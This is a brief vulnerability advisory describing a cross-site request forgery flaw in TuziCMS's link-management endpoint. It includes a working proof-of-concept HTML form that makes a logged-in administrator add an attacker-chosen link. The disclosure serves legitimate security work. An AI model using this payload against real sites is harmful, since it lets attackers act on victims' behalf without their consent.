Detailed vulnerability description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists in routinely managed friendship links due to insufficient validation of the HTTP request origin in the "index.php/manage/link/do_add". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.

Example: 

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[host]/tuzicms-master/index.php/manage/link/do_add" method="POST">
      <input type="hidden" name="link&#95;name" value="a" />
      <input type="hidden" name="link&#95;url" value="http&#58;&#47;&#47;www&#46;hack&#46;com" />
      <input type="hidden" name="link&#95;sort" value="100" />
      <input type="hidden" name="link&#95;description" value="aaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
